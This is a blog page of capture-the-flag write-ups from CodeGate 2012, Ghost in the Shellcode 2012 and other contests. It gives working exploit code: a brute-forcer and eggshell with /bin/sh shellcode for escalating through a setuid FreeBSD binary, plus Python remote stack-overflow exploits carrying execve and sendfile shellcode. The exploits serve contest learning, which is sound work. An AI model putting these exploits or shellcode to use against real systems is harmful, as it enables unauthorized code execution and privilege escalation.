codezen.fr code hacking, zen coding

26Feb/12Off

CodeGate 2012 – VULN 300

Posted by aXs

$ ssh codeXing@1.234.41.2
Password:
...
FreeBSD 8.2-RELEASE (GENERIC) #0: Fri Feb 18 02:24:46 UTC 2011

$ ls -l
-rwsr-xr-x 1 codeXing2 codeXing2 5916 Feb 24 08:49 X
-r-------- 1 codeXing2 codeXing2 26 Feb 24 08:56 password

Looks like a classic binary exploitation challenge right ?

$ echo "ABCDEFGHIJKLOMNOPQRSTUVWXYZ" > test
$ ./X test
Segmentation fault

Except it segfaults almost immediately for a change. The binary is small and doesn't do much, it will open a file, read 12 bytes from it and then mangles a pointer from the address of an unused function with various or, and, xor and finally call this pointer.

First, the start of the stack is overwritten:

.text:080485A4 mov dword ptr [esp+8], 12h ; n
.text:080485AC mov dword ptr [esp+4], 90h ; c
.text:080485B4 lea eax, [ebp+s]
.text:080485B7 mov [esp], eax ; s
.text:080485BA call _memset

Then we have the pointer operations:

.text:0804862E movzx eax, byte ptr [ebp+var_42+1]
.text:08048632 mov byte ptr [ebp+var_36+1], al
.text:08048635 movzx eax, byte ptr [ebp+var_3E+2]
.text:08048639 mov byte ptr [ebp+var_36], al
.text:0804863C mov ds:funcc, offset func
.text:08048646 mov eax, ds:funcc
.text:0804864B mov [ebp+var_18], eax
.text:0804864E movzx eax, byte ptr [ebp+var_42]
.text:08048652 or eax, 1
.text:08048655 movsx eax, al
.text:08048658 xor al, 0E0h
.text:0804865A shl eax, 18h
.text:0804865D mov [ebp+var_20], eax
.text:08048660 movzx eax, byte ptr [ebp+s+1]
.text:08048664 or eax, 1
.text:08048667 movsx eax, al
.text:0804866A xor al, 0E0h
.text:0804866C shl eax, 10h
.text:0804866F mov [ebp+var_1C], eax
.text:08048672 mov dword ptr [esp+8], 12h ; n
.text:0804867A lea eax, [ebp+s]
.text:0804867D mov [esp+4], eax ; src
.text:08048681 mov dword ptr [esp], offset test ; dest
.text:08048688 call _strncpy
.text:0804868D mov eax, [ebp+var_20]
.text:08048690 mov [ebp+var_30], eax
.text:08048693 mov eax, ds:funcc
.text:08048698 mov [ebp+var_18], eax
.text:0804869B mov eax, [ebp+var_18]
.text:0804869E mov [ebp+var_2C], eax
.text:080486A1 and [ebp+var_2C], 0FFFFh
.text:080486A8 mov eax, [ebp+var_2C]
.text:080486AB or eax, [ebp+var_20]
.text:080486AE mov [ebp+var_28], eax
.text:080486B1 mov eax, [ebp+var_28]
.text:080486B4 or eax, [ebp+var_1C]
.text:080486B7 mov [ebp+var_24], eax
.text:080486BA mov eax, [ebp+var_24]
.text:080486BD mov [ebp+var_18], eax
.text:080486C0 mov eax, [ebp+var_18]
.text:080486C3 mov ds:funcc, eax
.text:080486C8 mov eax, ds:funcc
.text:080486CD call eax ; funcc

What we want, of course, is get total control of eax so we can call our shellcode.

We have very little space since only 12 bytes will be read from the file. So our strategy will be as follow:

- control eax using the file
- put our shell code in environment (eggshell)

After spending some time setting up a local FreeBSD VM because the challenge server was flacky, our team mate bpint3 found that we could control the low part of eax using positions 6 and 11 in the file.

That was a good start now we need to control the upper part and put it in the range of the environment. Luckily there was no ASLR and this memory space was always at the same place following consecutive executions.

I couldn't really make any sense of the pointer mangling code in a predictable way and time was running out, so we went for a bruteforce.

First we copied and modified the binary to remove the "call eax" and replaced it with 2 syscalls:

- one call to the write() syscall to print the value of eax
- one call to exit() to avoid a segfault and get a clean exit

80486c3: a3 40 99 04 08 mov %eax,0x8049940 <- ds:funcc 80486c8: 6a 04 push $0x4 <- nbytes 80486ca: 68 40 99 04 08 push $0x8049940 <- push ds:funcc 80486cf: 6a 01 push $0x1 <- nsize 80486d1: 31 c0 xor %eax,%eax 80486d3: 50 push %eax 80486d4: b0 04 mov $0x4,%al <- write syscall 80486d6: cd 80 int $0x80 <- print eax 80486d8: b0 01 mov $0x1,%al <- exit syscal 80486da: cd 80 int $0x80

Result:

$ ./X2 test | hexdump -C
00000000 4b 46 a3 a5

Next we work on the eggshell

#include <unistd.h>
#define NOP 0x90
 
char shellcode[] =
  "\xeb\x0e\x5e\x31\xc9\xb1\x1c\xfe\x04\x0e\xe2\xfb\xfe\x06\x56"
  "\xc3\xe8\xed\xff\xff\xff\xea\x0d\x5d\x30\xbf\x87\x45\x06\x4f"
  "\x53\x55\xaf\x3a\x4f\xcc\x7f\xe7\xec\xfe\xfe\xfe\x2e\x61\x68"
  "\x6d\x2e\x72\x67";
 
int main(void)
{
  char shell[512];

  puts("Eggshell loaded into environment.\n");
  memset(shell,NOP,512);     /* fill-up the buffer with NOP */
  /* fill-up the shellcode on the second half to the end of buffer */
  memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
  /* set the environment variable to */
  /* EGG and shell as its value, rewrite if needed */
  setenv("EGG", shell, 1);
  /* modify the variable */
  putenv(shell);
  /* invoke the bash */
  system("sh");
  return 0;
}

Nothing special there, we didn't wrote this code, it's a standard /bin/sh shellcode for FreeBSD. Lets load it:

$ ./egg
Eggshell loaded into environment.

Now we need to get the address of our eggshell:

#include <unistd.h>
 
int main(void)
{
  printf("EGG address: 0x%lx\n", getenv("EGG"));
  return 0;
}

$ ./findeggaddr
EGG address: 0xbfbfed49

Now we can automate this with a bruteforcer that will have 3 goals:

- generate random file but with position 6 and 11 filled with bytes we choose (low part of the address of our eggshell: ed 49)
- call the X2 binary and read its output
- check if the output is a good candidate: pointer must start with bfbf (upper part of the environment table address)

#include <stdio.h>
#include <stdlib.h>

main(){

int funcc;
int target_low = 0xbfbf0000;
int target_high = 0xbfbfffff;
char payload[13];

int i;
FILE *fp;

while(1)
{
  for(i=0;i<12;i++)
  {
    payload[i] = (char)rand();
  }

  payload[5] = 0xED;
  payload[10] = 0x49;

  fp = fopen("pwned","w");
  fwrite(payload,1,sizeof(payload), fp);
  fclose(fp);

  fp = popen("./X2 pwned", "r");
  if (fp)
  {
    fread(&funcc, 1, 4, fp);
    pclose(fp);

    printf("funcc=%X\n", funcc);
    if (funcc > target_low && funcc < target_high)
    {
      printf("WIN! Check pwned file\n");
      exit(0);
    }
  }
}

return 0;
}

Let's run it for a couple of seconds:

...
funcc=FF39ED49
funcc=FF2DED49
funcc=FD97ED49
funcc=FF79ED49
funcc=BFBFED49
WIN! Check pwned file

So we found a solution, let's try it:

$ /home/codeXing/X pwned
$ id
uid=1001(codeXing) gid=1001(codeXing) euid=1002(codeXing2) groups=1001(codeXing)
$ cat /home/codeXing/password
key_is_The_davinci_cod3_!

Challenge solved.

Share
29Jan/12Off

GiTS 2012 KimJongUnd Write-Up

Posted by aXs

Stage 13

Question: KimJongUnd

We lost many time on this exploitation challenge for many reasons.

The vulnerability is when you input the command line after the password, there is a buffer overflow and you can control EIP.

Our buffer is on the stack so we spend some time finding a nice ROP gadget like this one:


.text:08048850 55 push ebp
.text:08048851 89 E5 mov ebp, esp
.text:08048853 FF E4 jmp esp
We have around 50 bytes available. Since we are in a forked daemon using socket we will first go for a shellcode that will read the command from the socket and output back to the socket.

#!/usr/bin/env python

import socket
import sys
import time

if len(sys.argv) != 3:
  print '\nUsage:\t./kim.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                         # Creating Socket
s.connect((host, port))                                                       # Connecting to socket
crash  = '\x90' * 524
crash += '\x50\x88\x04\x08'

crash += '\x31\xc9\x31\xdb\xb3\x04\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5'
crash += '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'

crash += "        exec cat key\n"

crash += '\x01' * 300                                                           # NOP Sled 25 bytes

s.send('HansBrix!!!\n');
s.send('%s\n' %crash);                                      # Sending Evil buffer (ShellCode)
while 1:
    line = s.recv(4096)
    if not line:
        break
    print 'Received', repr(line)
s.close()

But this is a decoy... after investigating, a mount -o bind has been done after the daemon has been started and is obscuring the true content of the key.

So this solve this challenge, we need to notice that, at start, the daemon open a file description to the key. This file descriptor relates to the true key file and is stored in a very convenient global variable.


.text:08048B67 8B 5D 08 mov ebx, [ebp+fd]
.text:08048B6A C7 44 24 04 00 00 00 00 mov dword ptr [esp+4], 0 ; oflag
.text:08048B72 C7 04 24 11 90 04 08 mov dword ptr [esp], offset file ; "/home/kimjongun/key"
.text:08048B79 E8 6E FA FF FF call _open

.bss:0804B0A4 ; int fd
.bss:0804B0A4 ?? ?? ?? ?? fd dd ? ; DATA XREF: sub_8048860+1C
Where to send the content of this file ? To the open socket of course, which is in a global variable as well:

.bss:0804B0A0 ?? ?? ?? ??                                     dword_804B0A0   dd ?                    ; DATA XREF: sub_8048B60+2D
Given the limited space available, I went with a custom shellcode using the kernel syscall sendfile():

[SECTION .text]
global _start

 jmp short ender

_start:
 xor eax, eax ;clean up the registers

 mov [esp], eax
 mov al, 0xbb ; sendfile() syscall
 mov ecx, [0x804B0A0] ; out-fd
 mov ebx, [0x804B0A4] ; in-fd
 mov edx, esp ; *offset
 mov esi, 256 ; size
 int 0x80

 xor eax, eax
 mov al, 1 ;exit the shellcode
 xor ebx,ebx
 int 0x80
ender:
 call _start
 dd 0
A little trick, we need to ask sendfile() to start from offset 0 of the file, otherwise it will only work the first time.
Python code to send payload:

#!/usr/bin/env python

import socket
import sys
import time

if len(sys.argv) != 3:
  print '\nUsage:\t./kim.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                         # Creating Socket
s.connect((host, port))                                                       # Connecting to socket
crash  = '\x90' * 524
crash += '\x50\x88\x04\x08'

crash += '\xeb\x24\x31\xc0\x89\x04\x24\xb0\xbb\x8b\x0d\xa0\xb0\x04\x08\x8b\x1d\xa4\xb0\x04\x08\x89\xe2\xbe\x00\x01\x00\x00\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd7\xff\xff\xff\x00\x00'

s.send('HansBrix!!!\n');
s.send('%s\n' %crash);                                      # Sending Evil buffer (ShellCode)
while 1:
    line = s.recv(4096)
    if not line:
        break
    print 'Received', repr(line)
s.close()

Result:


$ python kim4.py kimjongun.final2012.ghostintheshellcode.com 2645
Received 'Password: '
Received 'Welcome shitty wok, may a taka oda prez?\n'
Received 'Goddamn Mongorians! Quit breakin down my shitty wall!!!\n!All_Hail_Fearress_Reader!\n'
Key: !All_Hail_Fearress_Reader!


Share
29Jan/12Off

GiTS 2012 In-memory 4004 Write-up

Posted by aXs

In this challenge, we have connect to a service running on port 4004 :

$ nc inmemory.final2012.ghostintheshellcode.com 4004
Written in memory of a great microprocessor.
Waiting for program...
Too slow!
great microprocessor.. port 4004.. waiting for program... Could this be an Intel 4004 emulator ?
Checking the documentation for the Intel 4004 we see it had a 4096 bytes PROM so we send 4096 bytes down the down and indeed:

Written in memory of a great microprocessor
Waiting for program...
Loading program onto PROM...
Executing program...
Cycle limit reached!
Exiting...
In-memory.. so it probably means the key is in the memory of the emulator. We use http://e4004.szyc.org/ a lot to design some code that will scan all the memory and send it to the ROM port.
Intel 4004 code:

init
        LDM 0
        DCL
  FIM R0R1, 0    ; initialize R0=R1=0
  FIM R2R3, 0    ; initialize R2=R3=0
  LDM 12         ; load 12 to accumulator
  XCH R2         ; initialize R2=12
loop1
  SRC R0R1       ; select register &amp; address
        RDM            ; load accumulator from RAM
  WRR            ; write accumulator to ROM port
  ISZ R1, loop1  ; loop 16 times
        ISZ R0, loop1
  ISZ R2, loop1  ; loop 4 times
We use the assembler on the website to get the object code and we send this using a simple python program:

#!/usr/bin/env python

# aXs ^ Big-Daddy

import socket
import sys
import time

if len(sys.argv) != 3:
 print '\nUsage:\t./inmemory.py [host] [port]'
 sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket
s.connect((host, port)) # Connecting to socket

data = s.recv(65536)
print 'Received', repr(data)
data = s.recv(65536)
print 'Received', repr(data)

crash = '\xD0\xFD\x20\x00\x22\x00\xDC\xB2\x21\xE9\xE2\x71\x08\x70\x08\x72\x08'

crash += '\x00' * (4096 - len(crash))

s.send('%s' %crash);

while 1:
 line = s.recv(4096)
 if not line:
 break
 print 'Received', repr(line)

s.close()
The emulator was *very* unreliable on the challenge service and you needed to run your like 20 times.
Result:

$ python inmemory.py inmemory.final2012.ghostintheshellcode.com 4004
Received 'Written in memory of a great microprocessor.\n'
Received 'Waiting for program...\n'
Received 'Loading program onto PROM...\n'
Received 'Executing program...\n
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
50000000000000004000000000000000900000000000000050000000000000004000000000000000
6000000000000000f0000000000000006000000000000000c0000000000000006000000000000000
4000000000000000500000000000000090000000000000006000000000000000f000000000000000
70000000000000005000000000000000400000000000000090000000000000005000000000000000
40000000000000006000000000000000f0000000000000006000000000000000c000000000000000
60000000000000004000000000000000500000000000000090000000000000006000000000000000
f0000000000000007000000000000000500000000000000040000000000000009000000000000000
500000000000000040000000000000006000000000000000f0000000000000006000000000000000
c0000000000000006000000000000000400000000000000050000000000000009000000000000000
6000000000000000f000000000000000700000000000000050000000000000004000000000000000
9000000000000000500000000000000040000000000000006000000000000000f000000000000000
6000000000000000c000000000000000600000000000000040000000000000005000000000000000
90000000000000006000000000000000f00000000000000070000000000000005000000000000000
40000000000000009000000000000000500000000000000040000000000000006000000000000000
f0000000000000006000000000000000c00000000000000060000000000000004000000000000000
500000000000000090000000000000006000000000000000f0000000000000007000000000000000
500000000000000040000000000000009000000000000000
Cycle limit reached!
Exiting...

You need to rerun it with the top LDM changed to 1 so switch to another RAM bank.
The pattern is repeated several times: 546f6c64596f7549546f6c64596f7 = ToldYouI
You keep converting until you have the full key assembled from all the RAM memory regions
Key: ToldYouItWasInMemory
Share
Tagged as: Comments Off
9Oct/11Off

SecuInside 2011 Exam 4 Write-up

Posted by aXs

In this challenge, we need to recover the key from the website of DONGPO-SA Capital. This website in running on Windows with Apache, PHP and MySQL.

Share
26Sep/11Off

CSAW 2011 OpenGL

Posted by aXs

In this challenge, you get a Windows binary, when you start it it only display a white windows

Share
26Sep/11Off

CSAW 2011 PatchManagement Write-Up

Posted by aXs

In this Networking challenge, we get a short tcpdump capture file with a SSH session.

Share
26Sep/11Off

CSAW 2011 Android2 Write-up

Posted by aXs

In this challenge we get an Android .apk with a crackme application

Share
26Sep/11Off

CSAW 2011 CrackJack Web6 Write-up

Posted by aXs

In this challenge, we need to get administrator credential on someone's site who loves cat, ajax and getting contact emails.

A robot will visit any link you post in the contact form, this robot is at the same time logged in the site's administrator account.

Share
Tagged as: , , , , Continue reading
26Sep/11Off

CSAW 2011 .NET1 Bin200 Write-up

Posted by aXs

In this challenge, we get an archive with an encrypted file and an executable that was used to encrypt it.

We have to decrypt this file to get the key.

Share